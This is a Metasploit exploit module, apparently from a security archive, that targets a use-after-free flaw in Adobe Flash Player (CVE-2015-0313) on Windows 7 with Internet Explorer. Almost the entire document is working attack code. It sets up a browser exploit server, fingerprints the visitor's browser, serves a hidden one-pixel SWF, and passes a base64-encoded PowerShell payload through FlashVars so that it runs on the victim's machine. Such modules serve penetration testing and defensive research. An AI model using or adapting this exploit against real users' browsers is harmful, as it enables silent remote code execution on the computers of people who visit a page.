This Metasploit module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This Metasploit module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
bb349a822c1cc70d4d8f5f21a7eac4a134384b42aa63d3ce02ebae6b666c8b6a##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray With Workers Use After Free',
'Description' => %q{
This module exploits an use after free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, who can fill the memory and notify the main
thread to corrupt the new contents. This module has been tested successfully on
Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89 (all the magic)
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0313'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 02 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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